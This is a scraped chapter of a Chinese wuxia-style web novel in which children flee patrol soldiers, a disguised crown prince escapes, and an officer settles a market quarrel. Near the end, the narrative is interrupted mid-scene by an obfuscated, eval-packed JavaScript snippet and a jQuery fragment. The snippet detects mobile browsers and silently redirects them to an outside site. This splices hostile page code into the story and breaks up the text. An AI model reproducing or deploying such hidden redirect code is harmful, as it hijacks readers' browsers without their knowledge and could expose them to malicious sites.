31.闹事
作品:《绿茶太师豢虎记》 姜南阗一行往东,终于远离恩悌巷,躲在隐秘角落暂避风头。
“没想到丁公子一语成谶,现在真的要放暗号让爹爹和江出兄来接我们了。”黄其甫放出暗号,一面等江出和黄碚到来,一面等走散的丁越和姜南疏前来汇合。
三人默然,只是冥冥中似乎有什么事情被他们忽视了。
就在三人想到一处的时刻,黄其甫恍然开了口。“不对啊,五公子呢?”
……
姜南羿是随行的,三人确认了这一点之后开始回忆是从哪一刻开始把五公子弄丢的。
“好像……巡防兵来之前,五弟弟就不在我边上了。”江南苒道,“莫非,他当时进了阁楼?还是说他跟着丁越哥哥跑了?”
“好像都不是。”
“好像是……阁楼内烟雾炸起之时……”
******
太子楚琮瞻没想到出宫寻画,却遇到了抢劫,当众被反咬一口不说,还被人堵在茶楼里,但是他不能为自己申辩,当务之急是确保自己的身份不暴露,并且赶快回东宫。
情急之下,楚琮瞻随身携带的“眼迷离”派上了用场,他掏出来一掷,茶楼里顿时烟雾弥漫。在混乱不清中,楚琮瞻借着身形优势翻到阁楼边,再顺着后侧方的边柱滑到角楼下,最后趁乱逃走,过程中他还拽了个椅帔罩在头上。
“幸好带上了予鹿给的‘眼迷离’,我只当它是个烟花炮仗,没想到竟有奇效。”楚琮瞻一边暗自庆幸,一边直往东寻车驾。
“你可能高兴得太早了,小弟弟。”
楚琮瞻侧目,一男孩倚在茶摊前的矮窗上,他内着深紫色腊梅暗绣圆领袍,外着黑色腊梅暗绣半臂外衣,腰间黑色暗纹勾边腰带上,坠着一条络子,里面裹着的玉佩看不清样式。他束着发髻,马尾甩了一撮在右肩上,其中还附了几绺细辫。
楚琮瞻看着他,不确定他在和自己说话,左右乜了眼,复又对上那男孩的脸。毋庸置疑,男孩正看着他,微挑着嘴角,眼中含笑,也含了几分盛气。
“什么小弟弟,你看着并不比我年长,妄排尊卑。”
“我看你应该是哪个高门贵府里偷溜出来的公子,你这一身武艺定是家中人给你找了师傅教导过的,你怎好出来闯祸?闯了祸,还想就这么逃走?”
“谁说我闯祸了?是方才那人抢了我的东西。”
“是吗?那你刚才怎么不解释,只一味想着开溜,也不想把自己的东西夺回来?”说话间,男孩已经走到楚琮瞻跟前。
看着比自己高半个头的男孩,楚琮瞻失去了些许底气,对方能在混乱中识破自己的盾术,还轻而易举堵住自己的去路,真打起来,恐怕没有胜算,眼下更重要的是确保自己不被兵马属司的人抓住,赶紧回宫,否则东宫要乱套了。但是怎样甩开眼前这个难缠的家伙,着实令楚琮瞻头疼。
只能第三十六计了,楚琮瞻不再多说,推开那男孩就往东继续狂奔,他速度极快,轻易的避开了一路的人和物。就在此时,前方隐约似有马蹄声,椅帔覆面,楚琮瞻约莫看见有一辆马车。他心下一喜,直觉那是乔矜安排好的东宫接应他的车驾。
楚琮瞻加快步伐朝那马车奔去。恰在此时,左边巷道口一马匹嘶鸣着朝楚琮瞻袭来,那马无人驾驭,只管迎头朝前冲,楚琮瞻反应过来之时已避无可避。
来不及了!楚琮瞻闭上眼,在这千钧一发危难时刻,脑中只剩一句:“完了。”
视线受阻的楚琮瞻似乎听到一阵惊呼,但是马蹄声在他的耳畔尤为清晰,楚琮瞻听到它疾速靠近后瞬间落地的声音,近在耳侧,随即远去。不知过了多久,马蹄声又逐渐靠近,楚琮瞻毫发无伤的睁开眼,他仍然处在恍惚中。
“吓傻了?”
楚琮瞻闻声抬头,逆光中,男孩扯着缰绳,受惊的马儿被他降驭得游刃有余,逆着光,楚琮瞻看不清男孩的表情,只听他说:“快起来,我送你回家!”那语气里,尽显得瑟。
******
“别跑!”
不跑是不可能的,但是姜南疏此刻已经有点力竭了。
与姜南阗等人分开的时候,姜南疏有意要吸引巡防兵的注意,彼时大街上混乱纷杂,人群蜂拥,巡防兵骑马反而没有姜南疏跑得灵活。可是临近昌隆街后,马路宽阔,无处藏匿,且巡防兵密布,姜南疏意识到自己将要面临“插翅难飞”的局面。
“那小子,跑得贼快。”
“看着人也不大,能生出什么事啊。”一个跑在后排的兵犹疑起来。
“今天上面交代,务必拿住一切生事之人。何况我们追了几条街,这小子甩掉好几拨人了,普通半大小子能跑这么快吗?”
“就因为这个,所以就怕是像是哪个官家的娃。”
“咱们是巡防,头上是五城兵马总属司,再往上还有顾都督和三个硬骨头。你怕啥?咱们抓人什么时候要操心这个了?”另一个分析起来。
“不对,是两个硬骨头,姓沈的那位……就算了吧。”
“别废话了。”最前面一位膀大腰圆的巡防兵,打断正在议论的众人,掏出竹哨打了声响,“怕事的就只管堵,想立功的尽管抓。”说完踢了马肚跑远了。
附近巡防兵听到响哨纷纷来堵,姜南疏临危不乱,闪身进入两座宅邸之间的窄巷,说来也巧,这窄巷恰能容下姜南疏身形。穿过窄巷,出来就是另一条街道了,姜南疏还未松口气,几个巡防兵打窄巷口经过。虚惊一场,姜南疏稳了稳心神,从巷口往外看了一圈,唯有一辆玄色马车停在对街路边。犹豫间,杂沓的马蹄声渐进,江南疏别无他计,一个箭步钻进了马车之中,没想到的是,这马感受到有人落座,当即踢踢踏踏的走动起来。
“这马居然没有落栓?”
缰绳一般插在车轼下方,姜南疏小心翼翼的撩开帘,发现车轼格外宽平,若非坐在外面,否则根本够不着缰绳,也就做不到控制住这匹马。他自车窗往外观察了一番,外围巡防兵较之前只多不少……
“哎……”姜南疏微微摇头,徒叹奈何之际,一道身影自窗外映入眼帘。姜南疏兀自思忖片刻,再次朝那身影看去,不久前的一些记忆被唤醒……
“小孩,其实最厉害的人,你们早就见过了……”
“那人就是大程国曾经的镇北大将军,季鹰军主帅,你们的爹爹。”
“然而你们何其幸运,如此年幼,今日却又见到了天下另一个非常厉害的人。”
“那是,巡按御史沈大……啊!”
马车只是轻微震动,姜南疏吃了一惊,毕竟在逃脱抓捕,他提着精神,令他感到不妙的是,此刻马车似乎变沉了,车帘外的光影暗了些许,凝神观察,姜南疏确定,有人坐在了这辆马车前侧,正驭马而行。
******
沈溟不是急性子,但是今日却难掩焦躁,他唰的打开折扇,快速的给自己招呼了几下。边上的属兵感受到无形威压,大气也不敢出。
“今日到底谁在闹事?怎么一会是两个孩子骑着马往东,一会是一个孩子飞檐走壁往东?还有说是两个少年带着个小姑娘往南的?”
“千户大人……属下们,所见属实啊,只怕,只怕……”
“怕个屁!”沈溟一甩宽袖,再度上马,他看了眼日头,快到未时了,不知道属兵们报上来的消息中,哪一个才是太子。如果太子还不回宫,不知道东宫会生出什么事端,最重要的是,太子此刻是否安全。
此地离鸿宇大街尚有段路程,沈溟朝宫城的方向看了看,估摸乔广陵已经到了轩天门,如果东宫有消息,北林会立即传给他。
不过他知道,北林的消息不会来得这么快。
在焦灼等待消息的间隙,沈溟又想起今日在西郊城外那两名追逃的少年,沈溟刚出兵马属司之时原是要去西郊抓人的,半途得知东边有几名当事孩童踪迹,沈溟料想其中一个可能是太子,便立即调转了马头,来到了鸿宇大街附近。
“如果太子楚琮瞻今日真的在恩悌巷出现,那么西郊那两人必定是涉事者,巡防兵口中所报的尚在城中乱窜的几个孩子,其中一人很有可能就是太子。找到太子是最重要的,但万一一时半火找不到,最直接的办法就是去审问那被抓的年轻人。”
沈溟心中这样想着,便朝身边的兵马司属兵招呼了声,“你去告诉倪大人,就说今天西郊抓住的少年不可轻易放了,把人关在兵马司茶屋。”属兵应声,沈溟又补了句:“谁问也不好使,就说这人是我要亲自去审的。”交代完,沈溟把折扇往空中抛了抛,自以为很有掩盖性的说了句:“抓小孩嘛,好像挺好玩的。”
兵马属司哨声此起彼伏,中间也有属兵错把非目标者看成要抓的人。沈溟站在街心,暗骂了句废物,巡防兵和直属兵马司的属兵都聚在这几条街,反而不利于抓捕。就在众人一筹莫展之时,沈溟觉得,从方才哪刻起,自己就被一双眼睛盯上了,这感觉时而明显,时而薄弱。他哈哈一笑,叹了口气:“许久不出来巡防,没成想现在抓个孩子,巡防司也如此吃力。”
边上巡防兵听了,难免刺耳,握刀拱手认错:“千户大人,卑职等必当竭尽全力。一定抓住在逃之人。”
沈溟又慈和的宽慰道:“哎,巡防的弟兄今日辛苦,不怪你们,要知道,灯芯暗黑处,虽人人可见,却又无人得见。”言尚未尽,那名巡防兵的手里握着的刀已经出窍,沈溟折扇轻挑刀柄,掌心运力,刀芒直指队伍的末尾。众人目光所及,队尾马上之人立即倒仰,避开锋芒,众目睽睽之下,马背上方才还虎背熊腰的同僚,刹那间变成了两小儿。
沈溟轻笑道:“有趣,会玩。”旋即利落的在马鞍上拍了一掌,仅凭这掌势,身体腾空跃起,足尖轻点马背,飞身入巷。人人被这徒然发生的一幕震惊得错愕不已,等到反应过来要去追的时候,为时晚矣,两孩童早已经窜进小弄,消失没影儿了。
两孩子身形瘦小灵活,一进入巷子就窜进角落隐匿了起来。巡防兵迅速围追堵截,沈溟则深入探寻,终于逼得那孩童现身。
沈溟见那孩子在屋脊梁柱间行走来去自如,不禁叹到,“这小鬼,身法奇觉,颇有天资。”
沈溟虽也身姿劲瘦轻盈,却不比孩童身量瘦小;小弄易于躲藏,但孩童武力有限。
辗转跑了几条巷子,沈溟对那小鬼心中的盘算了然于心。各坊各街川横交错,屋舍楼阁鳞次栉比,沈溟并不苦追,只觉得那前面跑的那孩子,有似曾相识之感。
日下高头,沈溟站在高屋瓴,他的影子停在东北向,脚下的几条巷子都被巡防兵塞满了。他眉宇舒展,眼眸清明,静静地看着方才两孩子进巷子那处顶层阁楼,少顷,沈溟目色微微一沉……
——
阁楼内,自以为甩开了沈溟的男孩冲着角落喊了一句:“快出来罢。”
这顶层阁楼不及丈高,太子楚琮瞻灵活的从阁楼后堆放的一坛坛酒酿中探出脑袋,看到头上裹着椅帔的男孩,放心大胆的跳出来,拍了拍身上的灰尘,“今日你救下我两次,我都记下了,他日我一定好好答谢你。”
原来方才为了甩开沈溟,男孩让楚琮瞻躲进阁楼,自己则蒙着椅帔只身去引开沈溟。
“我看我还是先送你回家,你爹娘更会答谢我,说不定酬劳比你给的更多。”男孩揶揄道。
“你……”楚琮瞻欲要发作,但看男孩还裹着他抢的椅帔,蒙着脸,只露出一双明亮的眸子,莫名消了火,“算了,看在你今日有功的份上,我暂且不与你计较,你叫什么。”
“我……”
“你们是不是还打算结个拜?”两人交谈之际,一个声音猝不及防从身后传来。
二人回头,沈溟不知道什么时候已经站在楼内,他倚着墙边的一副云梯,站在暗处。
男孩第一反应便是拉着楚琮瞻往外逃。
“站住!”沈溟冷然道。
说来也奇,楚琮瞻竟然真的停下了,男孩不可置信,一副“你有病吧,为何不逃”的表情看着他,只听沈溟淡淡道:“轩天门外,绀青色马车,你舅舅在等你。”
听到此,男孩立即松开了楚琮瞻,然后回头看向沈溟——站在暗处的人神色不明,阁楼里光线混沌,只见那人折扇轻摇,清灰常服映出一层暗淡的光。
楚琮瞻来不及解释,拽着男孩朝轩天门奔去。
******
沈千户去抓小孩了,属兵则将他的话老老实实转报了倪千户。
其时倪昌正在核对旅邸配给数额,按理说这差事今日轮到沈溟了,兵马总属司没有统领都督,三位千户和副首顾羌行在外看来相互制约,实际同气连枝,却在具体事物上又秉持互不干涉之道。尽管对沈溟的很多行为不敢苟同,但是大抵都是能不管就不管,如同今日这般,他习以为常的认为这的确是沈溟行事风格,故而人也不看就命下属照办。他自己则兢(自)兢(认)业(倒)业(霉)的送配给去了。
恩悌巷今日闹事者众多,送配给途中倪昌又刻意在恩悌巷周遭多转了一圈,方才朝西边的旅邸走去。
“大人,今日巡防戒严了,因为白天有闹事者,巡防兵在这里抓了多个在场人回去。想必不会在有事的。”
“嗯,我也是防患未然,冬遇大典在即,许多外国节度使臣朝贺,不可马虎。”
“永益城的百姓在这方面我瞧着还是省心的,甭说平时掐架拌嘴闹得多厉害,一到外朝入都,底子里那些个最爱生事的刁民,也会抬头挺胸做出一派大国臣民的样子出来。”
倪昌忍不住哂笑:“第一次听人把仗势欺人说得这么悦耳动听。不过,越是有心维持的东西,越容易被有心之人拿来破坏,做文章。”
“为什么?”
倪昌沉吟了一会,“因为越是精心维护得好的东西,就越是能勾起人打碎它的恶念吧……”
属兵把手伸进颈里,挠了挠发根,“属下不明白,千户大人的意思,不用戒严,就算刁民闹事,也做常态之法处之?”
另一个属兵当即给了他一拳头,驳道:“真是对牛弹琴,不用戒严大人为何还要特意来巡视?当然是提防蕞尔小国之人在关键时刻寻衅滋事,毁我大程风貌。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15465657|164060||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
倪昌温和的笑了,劝道:“我也就随口说说,公务不可懈怠,该戒严还是得戒严。”
队伍照常行进,走了没多久,就听见前方有吵闹声,一群人围在一货摊门口。不时还听见有人哭喊“打人”,“欺负人”云云。属兵率先将闹事者制止,待倪昌上前,不由吃了一惊。
“你……们,姜……你们,诸位缘何在此啊?”
一句话问的结结巴巴,边上的属兵没听出倪昌的顾虑,直截了当的斥问道:“你们,籍册所在统统报来,都干什么的,快……”
“咳咳。”倪奂忍不住干咳了两声,拍了拍刚调动起情绪问话的属兵,挤到最前面,“今日永益城中不太平,诸位若是……”
“回禀大人。草民姜南阗,这是草民的妹妹江南苒,还有家中三名护卫,黄碚、黄其甫、江出。”
“咳咳咳……”吸了口凉气,倪昌这次真真切切的咳嗽了两声。
姜南阗彬彬有礼,一派世家公子风范。方才问话的属兵几不可见的噎住了,此时不消倪昌阻止,竟一个字也没多说。
今年江南平定水患,抗击海贼,守卫军粮的事迹,自那日早朝散后遍传永益城中,继而姜家父子擢升的消息昭告天下,不管前尘往事是否消弭,至少眼下,这姜家的确再次成为当朝重臣。
姜南阗虽已升任坞城指挥史,而实际要等姜家从永益城回坞城,拿了任命文书,去有司衙门交接官印,才可自称指挥史,此时以草民自居,到也恰当。
但是旁人可不敢真当他是草民。
倪昌送配给时就见过姜家人,也算是相对熟悉,内心深知对他们行一般审问章程十分不妥,但此为闹市,愣头青下属又开了这个巡查问责的头。众目睽睽之下,不好轻飘飘揭过,最要命的是,姜南阗居然就这样青口白牙把身份交代得明明白白,让倪昌退无可退,只好硬着头皮,询问事发缘由。
“千户大人,事情是这样的,我等今日特来城中闲逛,见这永益城中繁华满目,心下欢喜,就想着给家中弟弟妹妹们带些永益城中精美的小玩意儿,不成想……”姜南阗不急不躁,看了眼货摊掌柜,“在采买过程中,和这位店主就价钱和货物品相起了点争执。”
“大人。”掌柜立即抢道:“这几位客官一看就不是普通百姓,鄙人只是一介商贩,哪敢糊弄。原是这姑娘打碎了小店的玉炉,几位不愿赔付不说,还扬言要,要砸了我的铺面。”
“非是如此。”姜南阗没有生气,态度却十分坚定,“玉炉损毁也与三妹无关。”
江南苒本就是急性,早就忍不住了,辩驳道:“就是,他自己故意将玉炉摔到地上,非说是我打碎的。”
掌柜见二人在五城兵马属司面前仍旧一副泰然自若的模样,心中不由发虚,略一沉思,计上心头。只见他唯唯诺诺看了一眼江出和黄碚父子,怯生生将头埋得更低,一副担惊受怕的样子,道:“是,是,小的不敢,是小人眼拙手慢,没有及时接住姑娘递过来的玉炉……”
听掌柜如此,边上的看客躁动起来,开始议论。
“你……”江南苒气急。
“姑娘人小,又是千金贵体,我这个粗鄙的买卖人更应该小心伺候着才是。”
江南苒哪里受过这样的气,愤然中竟不知该从哪里开始骂。黄其甫轻轻按住了自家三小姐的肩膀,出面道:“颠倒是非,明明是你自己砸碎了物品,却在这里大吼大叫嫁祸到我们身上,这根本就是变着法的强卖,掌柜这生意真是做得另辟蹊径。”
黄碚也说:“这位摊主方才可不是这幅模样。您方才不是还一副盛气凌人之态吗?”
掌柜看着卑微,嘴巴却没闲着,“大人,这玉炉采用上等白玉经由大师耗时数月才精心雕琢而成,就连底配都是上等紫檀木。我也只是如实向诸位介绍货品,诸位若觉得价格不妥,鄙人也愿意折价出售。”
江出道:“这位店主所谓的折价出售,实际却足足抬了五成利,嘴里还说什么永益城不比那穷乡僻壤之类的话语,不知店主口中的穷乡僻壤,指的是我大程国哪片土地?”
边上窸窸窣窣,看客们边看热闹边议论着自己心中的是与非。
掌柜依旧哈着腰,“那是,那是鄙人有眼无珠,只一门心思想着生意,不知晓人情世故……”这话有点厉害,就差当街宣告众人,五城兵马属司与姜南阗一行是权贵相护,沆瀣一气欺负他这个平头百姓。
各执一词,一时难以分辨,倪昌是个武人,平时多在军中,直面百姓却分外在意轻重。属兵问了一圈也没有个人证站出来,走到倪昌面前,摇了摇头。倪昌微微点头,看了一眼姜南阗,道:“姜公子。我看这店主所求无非是损毁的玉炉有个着落,做生意嘛,就怕开张一天白忙活。若您所求是要还原真相,可能需要点时间。”
江南苒听不得,分辨道:“这个人,所卖之物非是真品,价格还足足抬高了五倍,我与他分辨,他讽刺等是穷乡僻壤来的,没见过世面不识货。”
“三白。”姜南阗温声制止妹妹。转头对倪昌说:“千户大人恕罪,妹妹年幼,自小任性惯了。”
“是他不对在先的,我说他,那是实实在在的过错。他骂我们,纯粹是出言侮辱。”江南苒越说越厉,对着货摊掌柜连珠炮也似:“拿着秦绣当宣绣,还说店内丝帕出自紫秀坊。还把普通窑瓷说成是醉窑出的,还拿着棉麻夹丝说是东瀛传进来新奇品,那样式分明是……”
江南苒还要继续发作,被姜南阗扯住,轻轻拍了拍。这是一个安抚的动作。
倪昌看了眼货摊掌柜,这人面色青白,不知道是气急还是心虚。
姜南阗安抚完妹妹,对倪昌拱手,千户大人公务缠身,有些事并不是非较真不可的,今日若非事关我三妹,也不会劳烦兵马属司,这玉炉我们买下了。但是损毁它绝非我三妹的过错。”
没有人证,说来说去不过是赔付一顶玉炉,只要姜南阗等人愿意出钱,即可大事化小小事化了。倪昌明白的,姜南阗亦明白。在旁人看来如是,在姜南阗看来却不然。
掌柜满意了,十分有眼力见的捧着残品,做小伏低道:“我这里是小本生意,若诸位客官看得起,我愿意折价,还愿无偿将玉炉修复,他日送到贵客府上也成。”又冲倪昌一脸痴笑:“千户大人,您看鄙人这样您可还满意?”
倪昌定睛看了他一眼,那笑眼里写着什么一览无余。他挪开了眼,略一沉吟,道:“将玉炉带回,送去天工苑,仔细鉴别。还有方才姜姑娘口中置疑的货品,一并拿去。”
掌柜呆愣住,少顷秉着哭腔道:“千户大人,千户大人,鄙人不敢了,鄙人小本生意,家中上有老下有小,若是大人要惩处鄙人,鄙人无话可说,求大人不要断了鄙人生路啊,大人……”
属兵上前阻拦,呵斥道:“大胆,兵马属司按章程办事,谁也不可阻拦,只是拿你的货品验真伪,除有待查验的货品不可贩卖,你仍然可以继续经营。若查验出有不合律法,假商行骗的,按律法裁决。在天宫院查验期间,你不可擅自离家出城。无故潜逃者,罪加一等。”